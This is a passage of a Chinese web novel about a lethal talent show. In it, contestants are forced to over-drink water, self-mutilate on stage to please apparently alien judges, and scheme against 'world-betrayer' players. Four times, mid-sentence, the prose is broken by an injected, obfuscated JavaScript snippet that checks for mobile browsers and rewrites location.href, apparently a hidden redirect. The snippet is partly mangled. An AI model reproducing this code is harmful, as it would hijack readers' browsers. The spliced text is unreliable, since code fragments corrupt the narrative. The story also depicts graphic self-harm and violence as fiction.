她看着周围虎视眈眈的其他选秀成员， 她觉得她不一定有机会登场。 果然，就在工作人员带着前面两个选手离开后，林筱的周围就围满了其他选手。他们的表情很平静，是那种看死人的平静。 “这里有监控。”林筱平静地指了指头顶。 那是一个可以360度旋转的拳头大的监控探头，甚至在选手们看过去时还热情地点了点头。 “我们可没做什么。”为首的选手摊开手，“只要你自愿退赛就行。” 自愿，只要林筱资源，那节目组谁也惩罚不了。 “退赛之后就能离开吗？” 看到林筱的态度似乎有所缓和，周围的人倒是好声劝道：“就是这个道理，你自愿退赛，我们也好聚好……” “你也知道了？”打断他们说话的，是为首的人，他目光深沉，无奈地笑了一下，“那看来我们谈不拢了。” “怎么就谈不拢了？这不是快答应了吗？” 周围的人看着林筱和为首之人达成了他们所不知道的默契，迷茫地看向彼此，又将疑惑的视线投向站在最中间的人。 “你们是一伙的？” 虽然不知道他们是怎么得出这个结论的，但林筱乐于看见这样的局面。 “……蠢货。”被簇拥在中间的人也是一阵无语，但大家本就是临时搭伙，互不熟悉，对彼此有戒备也是正常。 只是56号依旧出乎他的预料。 他眸光沉沉：“你知道多少？” 眼见着好事将成又破败，有听见这人骂他们蠢，甚至亲眼看见他们对暗号。这下，周围的人更加肯定他们之中混进了个间谍。 队伍默契地将这人也挤进了包围圈内。 多了个伙伴的林筱还有兴致打趣他：“要退赛吗？” “废话。”被排挤到包围圈内的人咬牙，“当然不退。” 林筱哼了一声，看着时钟没再说话。 退赛？这哪是退赛，这是直接送命。 这段时间她是在宿舍，可姜时宴是能自由行动的。再加上他初步得到其他经纪人的信任，零零散散也搜集到不少信息。 这也让他们发现，从第二次选拔开始，进入园区的人就再也没在外界出现过。换句话说，见过园区模样的人都没在外界出现过。 有一瞬间，林筱也怀疑过这个园区的真实性。就像上个世界的白雾一样，或许这里也只是一场梦。 但最终林筱还是选择相信系统的能力。 它不是好东西，但却也做到了敬业。 所以这个世界是真实的。 那就只剩下一个结果，这些人都被节目组处理了。 这是一个不太符合这个世界普通人观念的事情。因为在他们眼中，来自上城区的节目组本身就对他们有完全的掌控权，不需要费尽心思找借口处理他们。 哪怕节目组是为了隐藏自己的秘密。 除非舍弃本身就是节目组需要的。 从中可以看出，节目组的目的也绝不是单纯为上城区带来乐子。 上城区与中下城区脱轨的科技树，再结合节目组突然出现、如天神降临的投资商，林筱有个诡异却合理的怀疑。 那个躲在柜子里见不得光的商座主人，即使合照也只有一片漆黑。林筱怀疑，她的形象本身就见不得光。 很可能她就长得不像人形。 那些悬浮的夸奖可能不是夸张，而是写实。 所以这个世界面临的危机不是这过家家般的选秀，也不是光靠他们几个玩家就能纠正的偏激的等级制度，而是因为人类的叛徒出卖自己的同胞而迎来的星外生物。 大胆假设，小心求证。 商座主人她一时半会是不好接触了，但节目组还有其他见不得光的存在——评委。 如果能证明评委是星外生物，那这场游戏她注定还会拿到最高分。 所以再讨厌表演，林筱也有不得不表演的目的：她要见到评委。 既然要见到评委，就得先把眼前的麻烦解决。 “我们现在是同一根线上的蚂蚱，如果我被迫退赛了，你也好不了。”林筱的淡定让她身边的人红了眼，恶狠狠道。 真是好典型的欺软怕硬。 林筱默默挪开一步：“我没有办法。” “你没有办法你那么镇定？”他不信。 “因为他们也拿我没办法。”林筱依旧冷淡地说道。 和第一场选拔赛不同，这次候等室的纪律要求更加严格，基本上杜绝了选手之间的自相残杀。 这也是林筱和叶曳选择在宿舍苟到最后的原因之一。 但它也不是绝对安全。 候等室阻止的只是直接冲突，但如果像第一次选拔那样有选手故意诱导其他选手犯规，这同样会导致淘汰。 所以最保险的，就是敌不动我不动。 但这也是最蠢的办法。 这位选手既然会被推出当领导者，这就代表他至少有一项能力不错且有点脑子，而有脑子的人总喜欢用更少的伤害换更大的利益。 这也代表他大概率不会选择林筱选择的办法。 果然，他开始游说其他人。 但在一个不稳定的小团体中，一个人一旦失去信任，他将不再得到任何人的信任。更何况他们已经推举出新的领导者，并决定采取一个温和的办法劝退他和林筱：灌水。 他们的人数占据绝对优势，限制一个人的行动再简单不过。大量水分堆积在肠胃会引起胀痛、恶心、呕吐，甚至可能导致头胀头晕抽搐。 他们或许不知道水中毒的原理，但他们见过难受的人。 只要控制好量，就只会让他们难受而不会死亡。 至于操作，候等室的角落就有一个标准大小的饮水机和三桶桶装水，一旁的桌子上则放着一长条一次性水杯供选手使用。 操作简单、道具在手，天时地利人和具在，他们下手也很快。 其实事情发展到现在，他们打着公平竞争的旗号已经完全变成去除顶端优势的猎巫行动。将优势突出的选手率先淘汰，剩下的水平一致的选手们就各自凭借运气和手段了。 而林筱，在等待备用计划实施的合适时机。 他们也怕弄出人命被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098755|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节目组惩罚，所以除了没有尊严外，整个过程并不难受，尤其在她没有反抗的前提下。 但另一个人可就没那么幸运了。 就在他呛咳出血的下一分钟，工作人员闯入了候等室内。除了同样是受害者的任梓乐，其他人的脸上都出现了同样的茫然空白。 他们一开始的确是只想让他们受点苦，没想违背候等室规则的。可这人反抗得太厉害，骂得还脏，他们不知不觉间就失去了分寸。 等反应过来时，一切都已经来不及了。 就连压制林筱的几个人都因为那人扑腾得太厉害而跑去帮忙，整个房间内真的只剩下受害者，其余人无一清白。 “破坏规则视作淘汰，”进来的工作人员面无表情，纯白制服干净利落，“你们都跟我走。” “等等……”林筱突然沙哑着声音开口。 其他人也抬起头，面色复杂地看着她。 是要告状，还是替他们求情？ 林筱两个都没有选：“我想去洗手间。” 工作人员也顿了一下：“出门，走到走廊尽头，左拐就是。别去太久，等他们的事情处理完，就该你们上场了。” 等事情处理完，他们这间候等室就只剩下他们两个人，不是他们上场也没人上场了。 林筱应了声，踉踉跄跄地走了出去。 虽然她真正的目的不是洗手间，但样子总该装一下。掩上门，她在手心画着刚才看见的路标。 没有评委的房间，也没时间让她一间房一间房找，今天她是看不见评委了。所以她得晋级，等待下一次机会。 演播厅，正好在洗手间与候等室中间。 她可以先去观察其他选手的表现，了解评委的喜好，再结合她目前的状况为他们量身定制一档节目。 计划才有个雏形，门再次被打开。 “里面有人吗？打扫卫生。”门外传来闷声闷气的声音，底下也露出属于清洁工的制服裤子。 看似正常，如果这个声音不是林筱熟悉的声音的话。 想到一半的计划中断，也没有必要继续想了。 “有人，你等会来。”林筱故意切换声音道。 门外沉默了会，脚步声响起，又渐渐走远，洗手间内又只剩下林筱一个人。 林筱没有靠近门，手边也没有趁手的工具，只能先翻到隔壁，再弄出点动静提醒外面的人。 是的，外面的人。 虽然他努力伪装出已经离开的样子，但细节上的把控并不熟练，以至于露出来缺陷。想来也是因为刚入职没多久。 果然，在听到动静的下一秒，隔壁的门被撞开，连带着林筱现在所处的空间都震了一下。 “人呢？”没有伪装的声音烦躁、苦闷，带着浓浓的不甘。 隔壁又安静下来。 安静到诡异。 林筱突然低下头，从隔间的缝隙中露出一双浑浊的眼，瞳孔在光照的作用下缩小，带着针尖般恶意针对的笑容：“找到你啦！” 林筱猛地跳起。 下一秒，一把扫帚横扫而过。但那也不全是扫帚，至少别的扫帚不会黏上一面刀刃。 “嘿嘿，你是我的。”他发出怪异的声音，手下的动作越发急躁。 木板出现清晰可见的裂纹。 81. 第三个世界19 59号。 林筱认识这个声音，但他的样子却发生了变化。整体的轮廓还是相似的，但五官却有了细微的调整，看上去有种似人非人的诡异感觉。 林筱不知道这个改变他是否自愿，但至少此刻，他看上去很乐意。 趁着另一侧的木板没有被撞坏，林筱攀住木板的上缘，借力翻了过去。 身后是破门而入的声音，身前，洗手间的门已经被锁上，只留下她和59号。 一个有武器，一个没武器，怎么看都是林筱吃亏。 她不清楚59号还有没有理智，但还是试探性地询问：“我们可以合作。” 59号居然真的停下动作。 这发现并不会让林筱高兴，因为这也代表想杀她也是59号思考后的结果。 “不杀你有什么好处？”59号开口。 林筱还真没想到能有什么好处。 所有选手和前选手的目的都是为了出道，杀了她就能顶替她的位置继续参加选秀，不杀她就只能干这见不到外面的清洁工工作。 怎么想，59号都没理由放弃。 59号确实也是这么想的，所以他压根就没有停下手上的动作，直接向林筱劈了过去。 不普通的扫帚今日也成功变身为杀戮机器。 “这个节目就是一个骗局。”林筱躲过一击，但大量饮水还是影响了她的行动能力，让她的手臂受到了轻微的擦伤。 不影响活动，但丝丝缕缕的痛感依旧牵扯着她的神经。 “你就只能想到这些吗？”59号不为所动，“连小孩都骗不了。” 果然骗不到。 林筱面色不变，心中却叹了口气。 即使她知道自己说的是事实，但节目组在这几年间已经彻底洗脑了中下城区的居民，让他们完全相信自己改变阶级的希望就在节目组里。 当黑的已经被认作白的，即使有人再冒出来说黑的就是黑的也于事无补。 除非有无可辩驳的证据。 林筱没有，她也不需要有。她的目的只是逃脱，而不是让59号加入她的阵营。 所以更准确来说，林筱需要做的只是搅乱59号的认知。 “你觉得我会编出那么粗糙的一个谎言来骗你？”林筱再次俯身躲过59号冲着她脖子而来的攻击，气息不稳地喘道，“我编出这个谎言的意义是什么？” 这句话对于一般人来说可能只是负气的随口一言，但在59号耳中，这绝对是林筱无奈之下地真情流露。 毕竟在59号的视角中，林筱可是一个给他和60号假消息，还害得一整个候等室选手全部被淘汰的奸诈小人。 面对一个阴险狡诈、穷凶极恶的对手，是人都会忍不住多想，一旦多想，就会落入林筱的陷阱。 果然，59号的动作虽然没有停，但却是慢了下来。 “节目组告诉我们出道就能去上城区，可你见过有人真的到上城区吗？”既然有用，林筱就不会错过这个机会。 “上城区又不是我们可以去的地方，我怎么知道他们有没有到？”59号虽然在反驳，但声音却没有之前的笃定，“你连这个都不知道，你真的是下城区的人吗?” “我并不是让你真的去上城区，”林筱气定神闲，“但你周围肯定有人的朋友或者亲戚顺利出道。有东西被他们从上城区带回来吗，哪怕是一句话？” 如果说上城区的东西禁止流向中下城区那也可以理解，但不至于连一句话都不允许传下来。如果不是那些侥幸窥见上城区光景的人，他们也不会知道上城区是怎样的人间仙境。 真就一句话都没有留下来，那怎么看怎么都觉得这个节目组有蹊跷。 普通人都能想通的事情没道理59号想不通，他砍向林筱的动作顿住，扫帚险险停留在林筱的手臂上方，发丝掠过刀锋一分为二，飘落在湿滑的地面上。 59号的动作就是最好的回答。 所以即使他没有回答，林筱也依旧说了下去：“就算他们都忘了本，不在意还留下中下城区的亲朋好友，那节目组为了提高自己的声誉也应该让这些已经登上上城区的出道选手回来秀一下。” 根据林筱的了解，节目组永远都只有那张空头支票，和选秀结束后一张选手们与上城区的合照。 “所以为了这么一个谎言，你付出那么多值得吗？” 59号身上的变化肯定不是自然形成的，而人为的变化，尤其是这种短时间内明显的变化，必然需要付出代价。 别的林筱不清楚，但59号的思维速度显然变慢了。不然以林筱现在毫无外部力量加持的状态，根本打不赢被改造的59号。 “你还知道什么？”59号虽然停下动作，但手中的扫帚可没有放下，依旧警惕地看着林筱，“我可以给你一次机会，如果你说服我，我就放过你。” 这就足够了。 林筱慢慢把自己的手从刀刃下挪开，靠在一个支撑点恢复体力：“你是在那个有时钟的建筑里进行的改造，我没说错吧？” 59号被改造的事实肉眼就能观察到，也就几天的功夫，他来不及出园区。所以能进行改造的地点就那么几个，最有可能的就是行政楼和那个不知道用处的建筑。 既然都是盲猜，那就挑一个大的，她就赌是那个建筑。 赌错了，不过是继续打一场，赌对了，她既能得到59号的帮助，还能了解那个建筑的功能。利大于弊，这有什么不能尝试的？ 看着59号逐渐无力的姿态，林筱知道，自己又一次猜对了。 这对于林筱而言还好事，但对于59号来说，无异于告诉他他整个人就是个笑话。 他，他们，甚至几乎所有中下城区年轻一代都在为从这个选秀节目里出道而努力，但他们都不知道，自己的努力原来一直是一场彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123231|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头彻尾的笑话。 甚至，他看着自己掌心凸起的骨节。 原来，他就是为了那么一个谎言牺牲了所有。 “你想做什么？”59号大致信了林筱的话，但不代表他不知道林筱的用意，“我不可能为了你和节目组作对。” 就算知道了节目组满是谎言，但它毕竟来自上城区，根本不是他们这些下等人可以对付的存在。 “不需要你做什么。”这里没有时钟，林筱只能大致估摸出时间，“告诉我评委在哪里就行。” 他们选手不能自由活动，但59号清洁工就有正当理由出入各个房间，他应该知道评委会出现在哪层，哪个房间。 “不知道。”59号摇头。 林筱怀疑地皱起眉。 想要前往上城区，唯一的途径就是出道。不管他们现在的身份是什么，最终还是要以选手的身份赢得最后的出道位，讨好评委是他们一致的捷径，59号不可能不知道这个道理。 “我们只能在自己的楼层内行动。”既然答应了林筱，59号也说到做到，没有藏私地说道，“就算你可以前往其他楼层你也见不到评委，他们不在这里。” 不在这里可以有很多解释。比如不在这个建筑，不在这个园区，不在……这个星球。 所以59号说的是哪种？ 但59号没有继续解释“不在”的意图：“但你可以换上我的衣服去演播厅。” 选手出现在演播厅很显眼，但清洁工出现在演播厅就没那么显眼了。 但也只是没那么显眼，不代表就不会引人注意。 “你去了就知道。”59号没有解释的意思，脱下自己的外套放在一旁，“等你回来放回这里就行。” 他看上去要出去。 “你要去哪？”林筱不放心地问。 “我没打算出卖你。”59号眼神阴郁，但还是回答了林筱，“我出去散散心，也给你制造机会。别让我失望，56号。” 林筱直觉她59号有所隐瞒，但直觉也同样告诉她，59号现在对她没有恶意，所以林筱没有阻拦。 等到洗手间看不到59号的身影，林筱这才套上他的衣服，整理好脸上的妆容伤口，往回走到演播室门口。 除了选手出入的后台大门，还有一扇小门是专门留给后勤人员的。 林筱侧身而入。 后勤人员所在的位置一片漆黑，这倒方便林筱隐藏自己。靠近门的位置正好放了一些清扫工具，林筱又将自己伪装了一番，看上去更像一个专业的清洁工了。 其实她也可以说是专业的，毕竟她上一个世界就是干这个的，虽然和通俗意义上清洁工的工作不太一样。 等到林筱伪装结束，她就准备研究一下其他选手的舞台。但舞台还没找到，其他工作人员就找上了她。 “快点！没看见这个节目都结束了，怎么还不上去清理？” 82. 第三个世界20 林筱被推到了舞台的正中间。 表演已经结束，灯光不再明亮，甚至看不清两米以外的地方。光滑的地面黏腻湿滑，还散发着奇怪的味道。 “快点。”负责这个舞台的工作人员捂着鼻子，一脸嫌恶地催促道。 林筱一个踉跄，差点扑倒在地面上。 但也正因为距离近了，林筱才看清那是什么。 不规则形状的肉片和凝固的血块嵌入在地面的缝隙之中，还未完全凝固的血流则顺着缝隙流淌，直到舞台的尽头。 比起舞台，这更像是一场惨绝人寰的大屠杀，甚至可以说是虐杀。 “新来的？”看到林筱久久没有动作，工作人员皱起眉，“你的岗前培训没过吗？当年谁不是这么过来，现在倒开始装害怕躲懒。快打扫干净，别耽误下一组表演！” 当年？ 林筱很快意识到工作人员在说什么。 也就是说，这么血腥的场面，居然还是这个选秀节目的常态？ 但为了不让工作人员起疑，她只能先清理起现场。 桶内的污水完全被血水取代，水面上漂浮着血沫与分辨不出部位的肉块，细碎到只有指甲盖大小。但它们的数量太多，多到难以想象这是一场表演所造成。 林筱甚至出去换了两桶水，才勉强淡化了空气中浓烈的气味。 说它是舞台都没人信，犯罪现场才是它更准确的定位。 地面上的血渍简单的清理根本弄不干净，林筱蹲下身准备深度清洁，却被一直看着她的工作人员粗暴地拉到一旁。 他在舞台上走了一圈，皱着眉，掐着鼻子，最后才不耐烦地将林筱赶到角落： “算了，算了，你先在一边等着，下一个节目就要开始了。” 灯光很快重新照亮了舞台，林筱将帽檐压低，再次回到她之前的位置。 没有清理干净的痕迹在赭色的地面留下深浅不一的印记，却又像它本身就带有的暗纹，协调地合为一体。 而林筱，依旧隐藏在黑暗之中。 这个位置其实挺好，距离门口近，方便逃跑，视野开阔，方便观察舞台。 在刚才的打扫中，她可以很确定自己的观察：这些痕迹都是一个人造成的。 除了观察评委，她也确实好奇，是什么原因会让一个选手下定决心对自己做出这样的行为？ “接下来有请2组的178号选手。” 没有让林筱久等，陌生的主持人出现在幕布之前，简单直白地介绍。 从舞台的右后方，一位选手走了出来。 林筱见过她，在宿舍的走廊上。 那是个很活泼的女孩，见到人总会笑着打招呼，在她们楼层的人缘关系很好。林筱甚至看见过宿管对她笑。 可就是这么个姑娘，在舞台上对自己下起手来却毫不留情。她用的甚至不是常规的武器，而是装饰在衣服上的胸针。 坚硬而钝的金属剐进皮肉，液体沿着边缝流出，留下一个又一个细密而深邃的坑洞。 她不是个很能忍痛的姑娘，所以她此刻的面部表情狰狞而扭曲，却没有说出一个放弃的词来。 让她坚持的原因很简单，评委的红灯亮了。 如果到现在林筱还不明白造成这一切的原因，她就算现在死在这里也是活该。 这算什么喜悦的主题？ 林筱被帽檐遮住的眉眼满是冷肃：姜时宴不至于在主题上坑她，叶曳和她接到的是一样的通知，不存在这么多人都得到错误的主题。 那就只有一个可能，这就是节目组想要的结果。 喜悦，可是选手们表达喜悦，也可以是让评委得到喜悦。 而这些表演显然都是第二种。 舞台上的演出依旧在持续，从强度上看已经超过了林筱打扫的那个现场。 评委和节目组的恶意，选手之间的恶性竞争，这些因素导致一个本该光鲜亮丽的舞台变成了人间炼狱。 也让选手们彻底沦为服从节目组的傀儡。 他们用自己来取悦评委，想要脱颖而出，他们就必须对自己残忍，要比其他人更加残忍。 所以到最后，他们会对节目组的任何要求言听计从。也因此，这些工作人员居然没有一个质疑节目组，反而成为节目组迫害其他选手的工具。 其实最好的解决办法就是毁掉这个畸形的阶级制度，但林筱做不到。她唯一可以做到的，就是毁掉这个节目。 不管这个选秀节目和这个世界的灭亡有没有关系，但它的存在本身就是世间罪恶的掠影。它就不该存在。 直到178号濒临丧失意识，舞台上的表演才算结束。她是被抬下去的，但她也只得到两个通过。 工作人员照旧催促林筱干活。她能感觉到，在后台，剩下的选手目光逐渐炽烈。 178号给他们做了很好的示范，他们只需要更残，或许就能得到那三个通过的奖励。 林筱没有劝阻，也无法劝阻。 这次她就没有那么仔细，只是确保舞台上没有残渣和液体就匆匆回到了洗手间。 59号也在里面，但和林筱离开前比，他的腰上多了一道明显的伤痕。 是灼伤。 “看不下去了？”59号嘲讽地扯着嘴角，但他的脸色很快就变得苍白，扭头就向水池里吐了一口血。 哗哗的水流声掩盖了他们的交流，让一切都沉于暗处。 59号没有废话，利落地穿上林筱换下的衣服：“监控室会有你需要的东西。” “你怎么突然想帮我？” 林筱还记得不久前59号的态度可不是这样。那会他们只是确定了互不干扰的关系，59号可没有选择无条件帮助她。 但她也没有怀疑59号这句话的真实性，59号也没有理由骗她。 59号沉默了一会：“不是帮你，是为了60号。” 60号。 林筱对60号的印象不深，只知道他是和59号一起询问她的人。但从59号这句话，以及他没有出现的身影来看，60号大概已经遭遇了不幸。 没想到他们的关系居然那么好，这也是59号那么容易答应的原因之一吧。 林筱接受了59号的好意：“需要我做什么？” “先活着吧。”59号不屑地转过头，走了出去。 被看不起了啊。 林筱突然觉得有些好笑，她在这里的形象那么弱吗？是不是得先搞出些事情来，那些藏在暗处的盟友才会出现？ “你是掉进下水道了吗？” 门外，工作人员突然闯入，警惕地检查完洗手间的每一个隔间，这才对着林筱不耐烦地催促道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146981|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ， “再不回去就算你淘汰了，快走！” 林筱将刀片藏在腰带内，淡定地跟在工作人员身后来到了后台。 又见面了，舞台。 * 活着的经纪人再次汇聚在宽敞的环形大厅之内，只不过这次不再为他们遮掩身形，每个人都清晰地暴露在众人眼前，甚至身前还有自己选手的编号牌。 看来经纪人的选拔也已经进入了第二轮。 经纪人的内斗归内斗，但当选手们比赛时，他们更关注的还是选手的表现。 选手可以抢，但抢的前提就是他们值得投资。他们无法长时间接触选手，所以现在就是他们评估选手价值最好的时机。 没有人不希望自己的选手留下来，有捷径没有人不爱。 “这届选手都挺聪明的。” 看着看着，有的经纪人忍不住唏嘘， “当年我们也是好几轮之后才找到这个讨好评委的捷径。” 姜时宴看着中央的大屏。 捷径？是指这个以伤害自己为手段的表演？ 如果这算讨好评委的捷径，那评委就连妖都不如。他们就是纯畜牲。 姜时宴的表情淡淡，并不喜欢凑堆。但他上次的演讲又过于出色，总有人想打听他这边的消息。 “你对自己的选手那么自信？”胆子大的，就直接问了出来。 姜时宴的选手他们也都打听过，是那个初次选拔表现“独特”的人。他们当时都看不上，可偏偏她就能全票入选。所以看到姜时宴现在这幅模样，他们也忍不住怀疑是不是这个选手有独特的吸引评委喜欢的能力。 “不是自信，”姜时宴摇了摇头，“是我本来就管不了她。” “那不行，”其他人起哄，“必须树立我们经纪人的权威，让他们听我们的话。而且你不是说要让选手建立对我们的信任吗？她都不信任你的能力，你还怎么骗她？” “慢是慢了点，但我有把握。”姜时宴听到这些明嘲暗讽的话，依旧面色不变，气定神闲地坐在原处，“她逃脱不掉我的掌控。” 他这笃定的样子倒是唬住了一大部分人，再加上实在打听不到有用的信息，周围的人逐渐散开。 除了一人。 她染着绿色的长发，扎成高高的马尾，桀骜不驯。 和其他人的目的不同，她轻飘飘地吹了个口哨：“合作吗？” “什么合作？”对于听不懂的话，就推回去让他们自己解释。 “你一个人解决不了她，”她靠近姜时宴，“胃口大，也要吃得下。你知道我的意思。” 他不知道。 但不妨碍他假装知道：“你怎么知道我吃不下？” “连榜上有名的大佬都在她手上吃了亏，你不会真以为她就只有表现的那么弱吧？”她挑了挑眉，“她只是在藏拙。” 的确，在趣味赛中，叶曳的主观能动性更强，甚至在对抗性的斗争中也出力更多，而林筱更多像是个军师，无法独立的军师。 所以对方有这个猜测也合理。 只可惜她猜不到姜时宴的身份，姜时宴却已经猜到了她的身份，这就注定她会棋差一招。 “那又如何？"姜时宴轻笑，“不过是个新人，就算解决不了她，那也可以把她拉到叛世者的阵营。总归她是逃不掉的。“ 83. 第三个世界21 姜时宴对叛世者其实也只是一知半解。 他对背叛者的认知全部来自林筱，而林筱本身也只是从一名叛世者口中听过这个名字而已。不过林筱口中的叛世者，虽然脑子不太好，但做的事情倒是挺符合他理念的。 符合他理念的，未必对这个世界好。 所以姜时宴合理猜测，对方找上他的原因就是因为不久前的那场演讲。 不提姜时宴的目的，演讲本身的内容确实可以帮助到节目组里的部分人。只不过这个帮助需要到后期才能发挥作用，而他们不存在后期。所以本质上讲，这就是姜时宴为了拖延时间而想出的办法。 不够聪明，但又有点聪明，这很符合姜时宴对那群叛世者的认知，所以他大胆假设，直接求证。 或许是姜时宴提到叛世者的态度太过随意，所以对面的人完全没察觉到异样，直接承认了：“拉人看的是长久生意，她行事那么嚣张，我可不想做赔本买卖。积分这种东西，还是得到自己手上才放心。” 姜时宴依旧维持端坐的姿势观赏着选手们姿态各异的表演，似乎对她的提议毫无兴趣。 钓鱼，需要的是耐心，轻举妄动，鱼儿就容易跑。 也正是因为姜时宴的这幅姿态，她才更加坚定了想要寻求合作的想法：“我们合作，怎么样？” “不怎么样。” 姜时宴虽然不清楚游戏规则，但他知道这个世界可没有上个世界那么简单，至少对于玩家或者疑似玩家存在的人，他们绝对会毫不留情地解决掉。 所以哪怕要勾着这个叛世者，他也做到了面上的冷淡与不在意。 “我为什么要找人影响我的狩猎？” 即使现在有其他人路过，也不会觉得他们的对话有问题。毕竟，经纪人的本职工作不就是狩猎选手。 “她没那么简单，”绿发女人再次重申一遍，像是怕姜时宴不信，她还分享了自己的经历，“刚进入游戏的时候，她就报废了我的一个傀儡娃娃。只可惜死去的傀儡娃娃无法共享经历，不然我就能知道她手上有什么道具了。” 刚进入游戏的时候？ 最符合她经历的，也就只有57号了。 看来这一次，他钓的还是条大鱼。 姜时宴适时地鼓起了掌。 环形大厅的中央，一位选手表演失败意外将自己弄伤，获得了目前为止评委发出的第一个双通过。 其他经纪人露出惋惜的神情，遗憾他们居然那么快就找到了过关的捷径。 在场的没有好人，所以对于坑害他们的事情，姜时宴一点都不心虚。 “你不可能拿下她的。”绿发女人咬了咬唇，最后才下定决心道，“她没有过新手关。” 嗯？ 姜时宴感兴趣地扭头。 这件事他虽然不知道，但没过新手关这句话听着就是弱者才会有的行为，怎么她看上去那么害怕？ “你不知道？”她疑惑地呢喃，随后恍然大悟般自言自语，“难怪会那么自信。” 他露馅了？ 不对，她所知道的，是仅限在某一个小圈层流传的消息。 他给自己挑选的主人，还真不简单啊。 “既然你不想合作那就算了。”她看着姜时宴的目光透着怜悯，“我自己一个人也可以。” 这看死人的目光，是确信他会死在林筱手中。 “等等。” 绿发女子也在犹豫，所以听到姜时宴的话后依旧停顿了。 姜时宴：“我们可以合作，只需要你把关于新手关的消息告诉我。” 衡量利弊之后，女子还是选择了答应：“可以，但你要先把她骗到我指定的位置。” 这也是她特意来找姜时宴合作的原因。临时经纪人这个身份实在太好用了，只可惜她当时没有发现林筱的存在，错失了先机。 “什么时候？”姜时宴当然没有拒绝。 “第二次选拔结束后。”她思索了片刻，“这个选拔难不倒林筱，所以我们动手的最好机会就是在第二次和第三次选拔之间的空隙。我会挑拨其他经纪人一起动手，方便我们浑水摸鱼。” “那就按照你说的做。”姜时宴没有异议，“但为了验证你的消息到底值不值得，你必须先告诉我几个关键词。” 这个消息虽然在外面没有流传，但在叛世者内部知道的人其实并不在少数。只要姜时宴不是一个独行者，总能从别人嘴中得知。 自觉赚到的绿发女子也没有吝啬：“这也只是一个谣传。据传没有通过新手关却能提前结束游戏的人，很可能就是我们中唯一的通关者。 “我们这些玩家的来源很乱，有人想回家，也有人想留下来。我们这些叛世者是少数的例外，所以为了让系统永远运营下去，我们绝不允许通关者出现。” “我以为通关只是个噱头，原来你们是真的信。”姜时宴挑了挑眉，“轮到她上场了。” 屏幕的一角，出现了林筱的身影。 * 林筱站在后台，而614号已经站在了舞台上。 这是她第一次以这个视角来观看舞台上的表演。 614号就是他们候等室小团体的前领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188451|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导，那个因为不肯屈服而被打了一顿的选手。 林筱可以肯定，他之前准备的节目肯定不是他现在表演的那样，不然他也不会死命保护嗓子。 但看看现在的他，完全不在乎之前的嗓音、容貌，全神贯注地将自己弄得更加凄惨。 他在吸引评委好感上的确有天赋。 他吸取了上一位选手的经验，又增加自己的想法，让他的表演艺术又悲伤，而不是单纯的血腥秀。 他也获得了林筱知道的第一个三通过。 所以即使遍身伤痕，他走下来的神情依旧很高兴，看着林筱的眼神也充满得意与挑衅个。 这有什么好得意的？就因为自己完全被节目组的步伐所掌控？ 林筱之前是怀疑过节目组允许他们随时更改自己节目的目的，但没想到这一切都没有她想象的那么复杂。节目组的目的很简单，就是诱导选手表演出他们想要的节目。 可那些节目本身就是深渊。 即使灯光打在身上，它也是冰冷的，是攫取生命的恶客，是不该存在的寄生虫。 主持人看见林筱久久没有表演，言笑晏晏地催促。 林筱有一个大胆的想法。 这个想法是从59号身上得到的灵感，虽然疯狂，但操作性很强。 面对主持人催促且逐渐冰冷的目光，林筱缓缓开口。 主持人的表情逐渐凝固，眼神开始飘忽，仿佛陷入了死机状态。 不只是他，就连同在后台等待的其他选手都陷入了沉思之中。 这次选拔的主题是“喜悦”吧？ 所以，这和社会主义核心价值观有什么关系？ 还真别说，虽然不知道这是56号在哪里听到的，但朗朗上口，容易记忆。这短短几个字，构建的却是他心中的理想世界。 如果真的有这样的世界存在，确实也是件喜悦的事情。 虽然林筱展现的话语很有意义，但怎么看都偏了题，这让后面的选手暗喜又遗憾。 就连评委都无法拯救她。 三个不通过，这也是第二次选拔中首次出现的三不通过。 “我们的56号选手还有一个粉丝加成奖励，让我看看她获得的支持数能不能让她进入候选区……很遗憾，两张评委票的差距并不是那么容易被追上的，我们的56号选手不得不遗憾地和我们说再见了。” 